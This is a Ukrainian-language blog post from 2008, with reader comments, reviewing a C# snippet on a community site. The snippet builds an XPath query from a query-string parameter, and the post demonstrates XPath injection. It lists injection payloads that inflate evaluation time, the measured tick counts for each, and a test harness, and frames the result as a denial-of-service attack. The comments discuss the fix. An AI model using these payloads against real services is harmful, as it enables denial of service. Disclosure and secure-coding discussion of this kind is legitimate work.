15 August 2008

Невеличка DoS атака за допомогою XPath

Продовжу розбирати Code Smells сайту Architects In UA. Наразі сьогодні розберу цей код:

XPathNodeIterator nodes = navigator.Select(string.Format("/rss/channel/item[guid='{0}']/title", item));

while (nodes.MoveNext())
{
       Header.Title += " :: " + nodes.Current.Value;
}

Також потрібно додати що item це просто відображення параметру в рядку запита. Тобто аткуючий може змінювати її на свій розсуд.

Перше що впадає у вічі це те що я можу змінити XPath.

Якщо item буде

' or [somethig] or ''!='

то результучий XPath буде

/rss/channel/item[guid='' or [somethig] or ''!='']/title

Тепер питання що з цим можна робити. Для Denial-of-service (DoS) атаки нам потрібно що сервер максимально довго міркував. Так? Так. Якщо б це був Regex я б вже знав що робити ;). Але це не Regex, отже потрібно пошукати.

Одразу ж знайшлась цікава лінка - http://amachang.art-code.org/xpathperformance/ – таблиця де зібрані варіанти XPath та час виконання. Воно не про .Net але мені цього більш аніж достатньо.

Результати тесту для невеличкого фіда скачаного з головної сторінки dev.net.ua.

Значення item Ticks Коментар
434e5f47-9beb-46b7-aee2-adf5f643f7c6:6644 9765 Це в нормальному плині
' or .//*[@isPermaLink < 6 and @isPermaLink > 2] or ''!=' 29295 Це перша спроба, не такий вже і великий розбіг. Зараз коли пишу схоже and потрібно було замінити на or
' or .//*[preceding::div] or ''!=' 1230390 О! Це вже значно краще

' or .//*[preceding::div] or .//*[preceding::div2] or .//*[preceding::div3] or .//*[preceding::div4] or .//*[preceding::div5] or .//*[preceding::div6] or .//*[preceding::div7] or .//*[preceding::div8] or .//*[preceding::div9] or .//*[preceding::div10] or .//*[preceding::div11] or .//*[preceding::div12] or .//*[preceding::div13] or ''!=' 12323430 А це ще краще! Це вже може бути 1 секунда!
' or .//*[preceding::div or preceding::div2] or ''!=' 2675610 Це просто більш компактна форма, а то може так статися що адресного рядка не вистачить ;)

1 секунда чистого серверного часу на невеличкому фіді! Декілька компів, більший фід, і DoS атака вдалась! Отож і воно. Ніколи, ніколи не можна недооцінювати те що можуть зробити юзери!


Як зарадити? Як використовувати? Інші питання? Поради мені? Буду радий почути. Коментарі до ваших послуг!


Код який використовувася для перевірки.

using (Stream stream = File.OpenRead(@"D:\Public\Downloads\dev_net_ua.xml"))
{
    XmlDocument document = new XmlDocument();
    document.Load(stream);

    XPathNavigator navigator = document.CreateNavigator();

    // XPATH execution statistics taken from
    // http://amachang.art-code.org/xpathperformance/

    //const string item = "434e5f47-9beb-46b7-aee2-adf5f643f7c6:6644"; //9765
    //const string item = "' or .//*[preceding::div] or ''!='"; // 1230390
    //const string item = "' or .//*[@isPermaLink < 6 and @isPermaLink > 2] or ''!='"; // 29295
    //const string item = "' or .//*[preceding::div] or .//*[preceding::div2] or .//*[preceding::div3] or .//*[preceding::div4] or .//*[preceding::div5] or .//*[preceding::div6] or .//*[preceding::div7] or .//*[preceding::div8] or .//*[preceding::div9] or .//*[preceding::div10] or .//*[preceding::div11] or .//*[preceding::div12] or .//*[preceding::div13] or ''!='"; // 12323430
    const string item = "' or .//*[preceding::div or preceding::div2] or ''!='"; // 2675610

    string result = String.Empty;

    DateTime startTime = DateTime.UtcNow;               

    XPathNodeIterator nodes = navigator.Select(string.Format("/rss/channel/item[guid='{0}']/title", item));

    while (nodes.MoveNext())
    {
        result += " :: " + nodes.Current.Value;
    }

    DateTime endTime = DateTime.UtcNow;

    Console.WriteLine(endTime.Subtract(startTime).Ticks);
}


Додатково. Ця проблема не нова, так само як і SQL Injection ця проблема називається XPath Injection, пошук дає десятки результатів.

 

Коментарі

# status_alexus said:

Миша, спасибо больше за аналитику кода.

Возможно, вопрос немного не по теме, но тем не менее спрошу.

Как ты считаешь, если мы создадим класс-сериализатор с помощью утилиты xsd.exe по заданной xml схеме и будем работать с xml через этот прокси класс и LINQ to Object, то мы себя железно обезопасим от атак подобного рода?

Заранее спасибо.

15 August 08 at 5:50 AM
# Mike Chaliy said:

Олексій, тут проблема не в використанні XPath, тут проблема що цей XPath будується по інформаціїї яку може змінювати атакуючий. Головне правило виключити аткауючого зі створення XPath, Regex, SQL будь чого функціонального. Наприклад для вирішення цієї задачі, достатньо було б просто зробити статичний XPath який бігає по всіх айтемах, а потім вже кодом перевіряти guid (це дещо повільніше, аніж прямий запит).

Виходячи з цього, не суттєво як обробляти ХМЛ. Не проблема його обробляти безпечно за допомогою XPath. У той самий час якщо наприклад в рядок запиту писати назву метода, а потім рефлекшеном його фикликати, то навіть з об'єктною моделлю буде така сама проблема як і описана в цьому пості.

15 August 08 at 6:25 AM
# kosinsky said:

Красиво. Пофиксл.

PS. Жать что у XPath нет аналога параметров SQL

17 August 08 at 11:03 AM
# Mike Chaliy said:

2kosinsky, це добре що пофіксив і УРЛ став краще виглядати, а параметри в SQL не панацея від такого роду атак.

17 August 08 at 12:15 PM
Анонімні коментарі деактивовані. Увійдіть або Зареєструйтесь щоб мати доступ до ресурсів Спільноти.

About Mike Chaliy

Вчу українську, багато працюю. Цікавлюсь моделюванням небезпек. Більшість часу витрачаю на .Net.